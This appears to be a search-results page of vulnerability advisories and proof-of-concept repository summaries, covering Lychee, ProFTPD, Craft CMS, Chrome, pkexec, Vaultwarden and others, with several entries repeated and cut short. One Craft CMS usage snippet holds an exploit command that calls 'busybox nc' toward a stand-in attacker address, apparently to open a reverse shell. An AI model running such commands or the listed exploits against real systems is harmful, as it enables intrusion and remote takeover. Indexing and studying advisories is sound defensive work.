830065 matches found
CVE-2026-62679 Lychee: Path traversal in `SecurePathController` allows authenticated arbitrary file read
Lychee is a free, open-source photo-management tool. Prior to 7.6.4, SecurePathController, which serves GET /image/path, concatenates the attacker-controlled path with the local storage root and performs a string-prefix check before canonicalizing dot segments. Under the supported non-default...
CVE-2026-62679 Lychee: Path traversal in `SecurePathController` allows authenticated arbitrary file read
Lychee is a free, open-source photo-management tool. Prior to 7.6.4, SecurePathController, which serves GET /image/path, concatenates the attacker-controlled path with the local storage root and performs a string-prefix check before canonicalizing dot segments. Under the supported non-default...
CVE-2026-62679
The photo-management tool Lychee is vulnerable to a path traversal flaw in the SecurePathController component (prior to version 7.6.4 ). The application incorrectly performs a string-prefix check before canonicalizing dot segments when serving GET /image/{path}. Under specific non-default configu...
CVE-2024-4885
CVE-2024-4885 PoC for CVE-2024-4885 Progress WhatsUp Gold GetFileWithoutZip Unauthenticated Remote Code Execution CVE-2024-4885 Technical Analysis A root cause analysis of the vulnerability can be found on my blog: https://summoning.team/blog/progress-whatsup-gold-rce-cve-2024-4885/ Usage python3...
CVE-2026-61838 Lychee: Album password bypass in ZIP downloads
Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload and PhotoPolicy::canDownload without first enforcing AlbumPolicy::canAccess. For a public, password-protected album with grantsdownload enabled...
CVE-2026-61838
The photo-management tool Lychee is vulnerable to an authorization bypass in versions prior to 7.6.3 . The GET /api/v2/Zip endpoint fails to enforce AlbumPolicy::canAccess() before calling AlbumPolicy::canDownload() and PhotoPolicy::canDownload(). This allows an unauthenticated attacker who posse...
CVE-2026-61838 Lychee: Album password bypass in ZIP downloads
Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload and PhotoPolicy::canDownload without first enforcing AlbumPolicy::canAccess. For a public, password-protected album with grantsdownload enabled...
EUVD-2026-102191
Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload and PhotoPolicy::canDownload without first enforcing AlbumPolicy::canAccess. For a public, password-protected album with grantsdownload enabled...
CVE-2026-61838 Lychee: Album password bypass in ZIP downloads
Lychee is a free, open-source photo-management tool. Prior to 7.6.3, GET /api/v2/Zip authorizes album and photo archives through AlbumPolicy::canDownload and PhotoPolicy::canDownload without first enforcing AlbumPolicy::canAccess. For a public, password-protected album with grantsdownload enabled...
proftpd-CVE-2026-42167-poc
ProFTPD Vulnerability POCs Proof-of-concept demonstrations for CVE-2026-42167, a SQL injection vulnerability in ProFTPD's modsql logging pipeline that allows an unauthenticated attacker to execute arbitrary SQL — and to inject backdoor users into the FTP authentication database or achieve remote...
CVE-2025-5419
CVE-2025-5419 An uninitialized read vulnerability by incorrect Turboshaft Store-Store Elimination in V8. This repository contains analysis and stablized exploit to escalate this vulnerability to achieve in-V8-sandbox Arbitrary Read / Write, AddressOf & FakeObject primitives. Analysis:...
pkwned
pkwned: Proof of Concept for CVE-2021-4034 This PoC will run PAYLOADPATH as defined in constants.h with root privileges from a vulnerable version of pkexec running on glibc. The directory "GCONVPATH=." needs to contain an executable file named after the directory containing the gconv module. As...
CVE-2023-48104
CVE-2023-48104 HTML Injection in Alinto/SOGo Web Client Vendor of Product Alinto Vulnerability Type HTML Injection Affected Versions SOGo Web Mail https://github.com/Alinto/sogo/commit/7481ccf37087c3f456d7e5a844da01d0f8883098 Discoverer Spiridonov Ivan/E1tex PoC For demonstration purposes only. P...
CVE-2026-26012
CVE-2026-26012 — Vaultwarden Cipher Enumeration PoC Full Cipher Enumeration Ignoring Organization Collection Permissions A proof-of-concept exploit for CVE-2026-26012, a broken access control vulnerability in Vaultwarden = 1.35.2 that allows any organization member to retrieve and decrypt all...
CVE-2026-28695
CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...
CVE-2026-2441-PoC
CVE-2026-2441 — Chrome CSSFontFeatureValuesMap Use-After-Free CVSS 8.8 High | Actively Exploited in the Wild | Renderer RCE Sandboxed A use-after-free vulnerability in Google Chrome's Blink CSS engine that allows a remote attacker to execute arbitrary code inside the browser sandbox via a crafted...
Log4j_Vulnerability_Demo
Log4jVulnerabilityDemo A simple program to demonstrate how Log4j vulnerability can be exploited CVE-2021-44228 Running the Demo : To start the program, simply run the start.sh on UNIX systems or start.bat on Windows. User input will be read and logged to console using the Log4j framework. By...
DirtyClone
DirtyClone CVE-2026-43503 - Python PoC Non-official Python port of DirtyClone — a Linux kernel local privilege escalation vulnerability. This repository contains a working Proof of Concept that allows an unprivileged local user to gain root privileges by exploiting page-cache corruption via clone...
